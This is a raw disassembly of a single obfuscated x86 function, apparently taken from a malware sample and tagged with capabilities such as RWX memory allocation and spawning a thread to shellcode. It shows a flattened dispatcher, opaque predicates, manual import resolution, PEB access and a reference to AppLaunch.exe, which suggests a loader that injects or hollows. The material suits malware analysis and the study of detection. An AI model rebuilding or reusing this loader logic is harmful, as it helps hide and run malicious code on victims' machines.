Function at 0x40f150
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1c8
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c8], eax
mov eax, dword [0x44f080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x450554]
mov eax, dword [0x450550]
mov edx, ecx
add edx, 0x29334cfb
sub edx, 1
sub edx, 0x29334cfb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x1ba], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x1b9], al
mov dword [ebp - 0x1c0], 0x76faf863
mov eax, dword [ebp - 0x1c0]
mov dword [ebp - 0x1cc], eax
sub eax, 0x858ae5d1
je 0x4115f7
jmp 0x40f1d4
mov eax, dword [ebp - 0x1cc]
sub eax, 0x862f1975
je 0x4125cc
jmp 0x40f1ea
mov eax, dword [ebp - 0x1cc]
sub eax, 0x8638a0e1
je 0x412afa
jmp 0x40f200
mov eax, dword [ebp - 0x1cc]
sub eax, 0x89009696
je 0x411754
jmp 0x40f216
mov eax, dword [ebp - 0x1cc]
sub eax, 0x8911c82c
je 0x411348
jmp 0x40f22c
mov eax, dword [ebp - 0x1cc]
sub eax, 0x89bd0fe0
je 0x412ec8
jmp 0x40f242
mov eax, dword [ebp - 0x1cc]
sub eax, 0x8ab8068a
je 0x410c55
jmp 0x40f258
mov eax, dword [ebp - 0x1cc]
sub eax, 0x8adc8f91
je 0x411cc1
jmp 0x40f26e
mov eax, dword [ebp - 0x1cc]
sub eax, 0x8b518304
je 0x410b58
jmp 0x40f284
mov eax, dword [ebp - 0x1cc]
sub eax, 0x8c2ddf93
je 0x410e14
jmp 0x40f29a
mov eax, dword [ebp - 0x1cc]
sub eax, 0x8f2aab6a
je 0x4121fc
jmp 0x40f2b0
mov eax, dword [ebp - 0x1cc]
sub eax, 0x8f7aeaad
je 0x410cda
jmp 0x40f2c6
mov eax, dword [ebp - 0x1cc]
sub eax, 0x8fb63382
je 0x4121de
jmp 0x40f2dc
mov eax, dword [ebp - 0x1cc]
sub eax, 0x8fcb181d
je 0x411a94
jmp 0x40f2f2
mov eax, dword [ebp - 0x1cc]
sub eax, 0x910480f2
je 0x411649
jmp 0x40f308
mov eax, dword [ebp - 0x1cc]
sub eax, 0x91229489
je 0x411d73
jmp 0x40f31e
mov eax, dword [ebp - 0x1cc]
sub eax, 0x931f0a49
je 0x4118c5
jmp 0x40f334
mov eax, dword [ebp - 0x1cc]
sub eax, 0x932e09ce
je 0x410889
jmp 0x40f34a
mov eax, dword [ebp - 0x1cc]
sub eax, 0x940fe190
je 0x41257b
jmp 0x40f360
mov eax, dword [ebp - 0x1cc]
sub eax, 0x9592d9e8
je 0x412031
jmp 0x40f376
mov eax, dword [ebp - 0x1cc]
sub eax, 0x962ff177
je 0x4115d7
jmp 0x40f38c
mov eax, dword [ebp - 0x1cc]
sub eax, 0x9716afe9
je 0x412aeb
jmp 0x40f3a2
mov eax, dword [ebp - 0x1cc]
sub eax, 0x9c2849ce
je 0x410e40
jmp 0x40f3b8
mov eax, dword [ebp - 0x1cc]
sub eax, 0x9e136141
je 0x411b1e
jmp 0x40f3ce
mov eax, dword [ebp - 0x1cc]
sub eax, 0x9e557423
je 0x413658
jmp 0x40f3e4
mov eax, dword [ebp - 0x1cc]
sub eax, 0x9eba0cdc
je 0x4133bf
jmp 0x40f3fa
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa0fe7d84
je 0x412f58
jmp 0x40f410
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa3eb7a08
je 0x410f4e
jmp 0x40f426
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa47cb3e7
je 0x413222
jmp 0x40f43c
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa48e51fb
je 0x412d24
jmp 0x40f452
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa568c7ed
je 0x411fd9
jmp 0x40f468
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa5999f68
je 0x4125ae
jmp 0x40f47e
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa5b75457
je 0x4126f3
jmp 0x40f494
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa5b94f37
je 0x412131
jmp 0x40f4aa
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa60f2f5d
je 0x4117a0
jmp 0x40f4c0
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa711e8cf
je 0x4123e6
jmp 0x40f4d6
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa784d484
je 0x412380
jmp 0x40f4ec
mov eax, dword [ebp - 0x1cc]
sub eax, 0xa871d113
je 0x411e15
jmp 0x40f502
mov eax, dword [ebp - 0x1cc]
sub eax, 0xac52d3f9
je 0x41055f
jmp 0x40f518
mov eax, dword [ebp - 0x1cc]
sub eax, 0xac7f7303
je 0x412b18
jmp 0x40f52e
mov eax, dword [ebp - 0x1cc]
sub eax, 0xace35253
je 0x4116b7
jmp 0x40f544
mov eax, dword [ebp - 0x1cc]
sub eax, 0xaf23e0ad
je 0x4134e6
jmp 0x40f55a
mov eax, dword [ebp - 0x1cc]
sub eax, 0xb1236974
je 0x411003
jmp 0x40f570
mov eax, dword [ebp - 0x1cc]
sub eax, 0xb1fa1002
je 0x410ae1
jmp 0x40f586
mov eax, dword [ebp - 0x1cc]
sub eax, 0xb2277304
je 0x4127df
jmp 0x40f59c
mov eax, dword [ebp - 0x1cc]
sub eax, 0xb34f820c
je 0x410ee4
jmp 0x40f5b2
mov eax, dword [ebp - 0x1cc]
sub eax, 0xb7b2fc34
je 0x41326d
jmp 0x40f5c8
mov eax, dword [ebp - 0x1cc]
sub eax, 0xbad5f44f
je 0x4116e2
jmp 0x40f5de
mov eax, dword [ebp - 0x1cc]
sub eax, 0xbb8c3d04
je 0x4120dc
jmp 0x40f5f4
mov eax, dword [ebp - 0x1cc]
sub eax, 0xbc9b484e
je 0x4111fd
jmp 0x40f60a
mov eax, dword [ebp - 0x1cc]
sub eax, 0xc13a3a7a
je 0x413558
jmp 0x40f620
mov eax, dword [ebp - 0x1cc]
sub eax, 0xc16a146d
je 0x4127ee
jmp 0x40f636
mov eax, dword [ebp - 0x1cc]
sub eax, 0xc314d04d
je 0x412fed
jmp 0x40f64c
mov eax, dword [ebp - 0x1cc]
sub eax, 0xc42a8e06
je 0x4134b6
jmp 0x40f662
mov eax, dword [ebp - 0x1cc]
sub eax, 0xc452c300
je 0x4133fb
jmp 0x40f678
mov eax, dword [ebp - 0x1cc]
sub eax, 0xc4d56ef1
je 0x4130a4
jmp 0x40f68e
mov eax, dword [ebp - 0x1cc]
sub eax, 0xc56c4c39
je 0x41251b
jmp 0x40f6a4
mov eax, dword [ebp - 0x1cc]
sub eax, 0xc5936999
je 0x411a2a
jmp 0x40f6ba
mov eax, dword [ebp - 0x1cc]
sub eax, 0xc5cf998a
je 0x4135e5
jmp 0x40f6d0
mov eax, dword [ebp - 0x1cc]
sub eax, 0xc63a3ac7
je 0x41305b
jmp 0x40f6e6
mov eax, dword [ebp - 0x1cc]
sub eax, 0xcb99233b
je 0x4131e9
jmp 0x40f6fc
mov eax, dword [ebp - 0x1cc]
sub eax, 0xcd60f8e2
je 0x410a2b
jmp 0x40f712
mov eax, dword [ebp - 0x1cc]
sub eax, 0xcf5b94f4
je 0x41331e
jmp 0x40f728
mov eax, dword [ebp - 0x1cc]
sub eax, 0xcfda0455
je 0x4120f7
jmp 0x40f73e
mov eax, dword [ebp - 0x1cc]
sub eax, 0xd05d8526
je 0x413473
mov dword [ebp - 0x1c0], 0x18a1deba
jmp 0x413694
mov dword [ebp - 0x1c0], 0x648da8b6
mov dword [ebp - 0x1c4], 0
jmp 0x413694
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0x1c0], 0x5948c39f
jmp 0x413694
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [eax]
xor eax, eax
sub eax, 0x18
sub ecx, eax
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
sub ecx, 0x4c79f008
add ecx, eax
add ecx, 0x4c79f008
mov eax, dword [ebp - 0x190]
mov dword [eax], ecx
mov eax, dword [ebp - 0x18c]
mov dword [eax], 0
mov dword [ebp - 0x1c0], 0x57e84567
jmp 0x413694
mov ecx, dword [0x450554]
mov eax, dword [0x450550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x12920c60
mov ecx, 0x4e191a9a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x190]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x18c]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x1b4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x190]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x18c]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x14]
sub eax, 0x54302c41
add eax, ecx
add eax, 0x54302c41
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18c]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0x10
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x1c0], 0x8f7aeaad
jmp 0x413694
mov ecx, dword [0x450554]
mov eax, dword [0x450550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcb99233b
mov ecx, 0xda6e9639
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov ecx, dword [ebp - 0xe0]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x18c]
mov dword [eax], ecx
mov dword [ebp - 0x1c0], 0x57e84567
jmp 0x413694
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0x1c0], 0x5ab9b5e0
jmp 0x413694
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xd8]
cmp eax, ecx
setne al
and al, 1
mov byte [ebp - 0xd1], al
mov eax, dword [0x450554]
mov ecx, dword [0x450550]
mov edx, eax
add edx, 0x3909a7f8
sub edx, 1
sub edx, 0x3909a7f8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa47cb3e7
mov ecx, 0xa3eb7a08
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov dl, byte [ebp - 0xd1]
mov eax, 0x910480f2
mov ecx, 0x5d02424e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x19c]
add eax, 4
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x1c0], 0x672c88c2
jmp 0x413694
mov dl, byte [ebp - 0xb9]
mov eax, 0x962ff177
mov ecx, 0x2b8612e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov edx, dword [ebp - 0xb8]
mov eax, 0xe31eaf9d
mov ecx, 0x114c2868
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x1c0], 0x858ae5d1
jmp 0x413694
mov eax, dword [ebp - 0x180]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xac]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x180]
mov dword [eax], ecx
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x184]
mov dword [eax], ecx
mov dword [ebp - 0x1c0], 0xb1236974
jmp 0x413694
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x1c0], 0x900ecc5
jmp 0x413694
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x168]
imul ecx, dword [ecx], 0x14
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x1c0], 0xbad5f44f
jmp 0x413694
mov edx, dword [ebp - 0xa0]
mov eax, 0xbb8c3d04
mov ecx, 0x2030c18e
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov eax, dword [ebp - 0x9c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov edx, dword [ebp - 0x160]
mov eax, 0x2d9b37e1
mov ecx, 0xa60f2f5d
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov ecx, dword [0x450554]
mov eax, dword [0x450550]
mov edx, ecx
add edx, 0xb312e712
sub edx, 1
sub edx, 0xb312e712
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2ddb73d0
mov ecx, 0xda17c77b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x90]
imul ecx, ecx, 0x14
add eax, ecx
mov edx, dword [eax + 0x10]
mov ecx, dword [ebp - 0x98]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x158]
mov dword [eax], 0
mov dword [ebp - 0x1c0], 0x2bb44e83
jmp 0x413694
mov dl, byte [ebp - 0x89]
mov eax, 0xa568c7ed
mov ecx, 0x389c0daf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov ecx, dword [0x450554]
mov eax, dword [0x450550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcf5b94f4
mov ecx, 0x9e136141
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov dword [ebp - 0x1c0], 0x1244c41e
jmp 0x413694
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
add eax, 2
mov ecx, dword [ebp - 0x160]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov ecx, dword [0x450554]
mov eax, dword [0x450550]
mov edx, ecx
sub edx, 0x1ea98fc3
sub edx, 1
add edx, 0x1ea98fc3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9eba0cdc
mov ecx, 0x6af0a9b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov dword [ebp - 0x1c0], 0x157c16ae
jmp 0x413694
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x168]
imul ecx, dword [ecx], 0x14
add eax, ecx
mov edx, dword [eax + 0x10]
mov eax, dword [ebp - 0x78]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x158]
mov edx, dword [ecx]
shl edx, 2
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x7c]
mov dword [eax], ecx
mov ecx, dword [0x450554]
mov eax, dword [0x450550]
mov edx, ecx
sub edx, 0xdb80228d
sub edx, 1
add edx, 0xdb80228d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc452c300
mov ecx, 0x17399060
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov dword [ebp - 0x1c0], 0x682b104f
jmp 0x413694
mov eax, dword [ebp - 0x168]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x168]
mov dword [eax], ecx
mov ecx, dword [0x450554]
mov eax, dword [0x450550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd05d8526
mov ecx, 0xe866a074
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov eax, dword [ebp - 0x148]
mov dword [eax], 0
mov dword [ebp - 0x1c0], 0xcfda0455
jmp 0x413694
mov dword [ebp - 0x1c0], 0x13e9db6d
jmp 0x413694
mov eax, dword [0x450554]
mov ecx, dword [0x450550]
mov edx, eax
add edx, 0x10953698
sub edx, 1
sub edx, 0x10953698
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3b7e8c78
mov ecx, 0x38d667bf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov dl, byte [ebp - 0x65]
mov eax, 0x8638a0e1
mov ecx, 0x8f2aab6a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov eax, dword [ebp - 0x144]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x1c0], 0x3d4dd16c
jmp 0x413694
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x80000000
mov ecx, 0xffffffff
xor ecx, 0x6c6bfb57
or eax, edx
or ecx, 0x6c6bfb57
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x5d], al
mov dword [ebp - 0x1c0], 0xe4d22de7
jmp 0x413694
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x1c0], 0x2e682764
jmp 0x413694
mov dword [ebp - 0x1c0], 0xc16a146d
jmp 0x413694
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x20000000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x4d], al
mov dword [ebp - 0x1c0], 0xa5999f68
jmp 0x413694
mov dl, byte [ebp - 0x4d]
mov eax, 0xe85ad864
mov ecx, 0x862f1975
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov eax, dword [ebp - 0x144]
mov dword [eax], 0x20
mov dword [ebp - 0x1c0], 0x43d0d46b
jmp 0x413694
mov ecx, dword [ebp - 0x4c]
mov edx, 0xffffffff
xor edx, 0x40000000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x45], al
mov ecx, dword [0x450554]
mov eax, dword [0x450550]
mov edx, ecx
add edx, 0xacf0c14
sub edx, 1
sub edx, 0xacf0c14
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2706575a
mov ecx, 0x60fa05c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov dword [ebp - 0x1c0], 0xc16a146d
jmp 0x413694
mov dword [ebp - 0x1c0], 0xc6993ad
jmp 0x413694
mov dword [ebp - 0x1c0], 0x13e9db6d
jmp 0x413694
mov ecx, dword fs:[0x30]
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov dword [ebp - 0x1c0], 0xac7f7303
jmp 0x413694
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xc
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [eax]
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
add eax, 0x3bf290e7
add eax, 0x14
sub eax, 0x3bf290e7
mov ecx, dword [eax]
sub ecx, 0x6ee6463c
sub ecx, 8
add ecx, 0x6ee6463c
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov eax, dword [ebp - 0x198]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
add eax, 0xedfab951
add eax, 8
sub eax, 0xedfab951
mov dword [eax], ecx
mov eax, dword [ebp - 0x198]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
sub eax, 0xd893ca9c
mov dword [eax - 0x276c354c], ecx
mov eax, dword [ebp - 0x134]
mov ecx, dword [eax]
sub ecx, 0x43e578df
add ecx, 0x24
add ecx, 0x43e578df
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x12c]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x78
call fcn.0041e550
add esp, 0xc
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x128]
mov byte [eax], cl
mov eax, dword [ebp - 0x128]
mov dl, byte [eax]
mov eax, 0x3ab905d5
mov ecx, 0xfc4597b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov cx, word [ebp - 0x2e]
mov eax, dword [ebp - 0x2c]
mov word [eax], cx
mov dword [ebp - 0x1c0], 0x3ab905d5
jmp 0x413694
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c0], 0x108cef1f
jmp 0x413694
mov eax, dword [ebp - 0x18]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x1b8]
mov dword [eax], 0
mov eax, dword [0x450554]
mov ecx, dword [0x450550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9e557423
mov ecx, 0x1b5b77dd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov ecx, dword [0x450554]
mov eax, dword [0x450550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1f790d5a
mov ecx, 0xc63a3ac7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov eax, dword [0x450554]
mov ecx, dword [0x450550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1f790d5a
mov ecx, 0xc4d56ef1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x413694
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1d0], eax
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041d6e0
mov eax, dword [ebp - 0x1d0]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov edx, dword [ebp - 0xec]
mov ecx, dword [ebp - 0xe8]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041e550
add esp, 0xc
mov dword [ebp - 0x1c0], 0xda6e9639
jmp 0x413694
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x1c0], 0xb34f820c
jmp 0x413694
mov eax, dword [ebp - 0x188]
mov esi, dword [eax]
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x174]
mov ecx, dword [ecx]
movzx edx, word [ecx]
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xfff
mov ecx, 0xffffffff
xor ecx, 0x906d24c0
or edx, edi
or ecx, 0x906d24c0
xor edx, 0xffffffff
and edx, ecx
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov ecx, dword [eax]
xor edx, edx
sub edx, esi
sub ecx, edx
mov dword [eax], ecx
mov dword [ebp - 0x1c0], 0x8abb069
jmp 0x413694
mov eax, dword [ebp - 0x198]
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x1c0], 0x8fcb181d
jmp 0x413694
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
add eax, 2
mov ecx, dword [ebp - 0x160]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov dword [ebp - 0x1c0], 0x8adc8f91
jmp 0x413694
mov eax, dword [ebp - 0x16c]
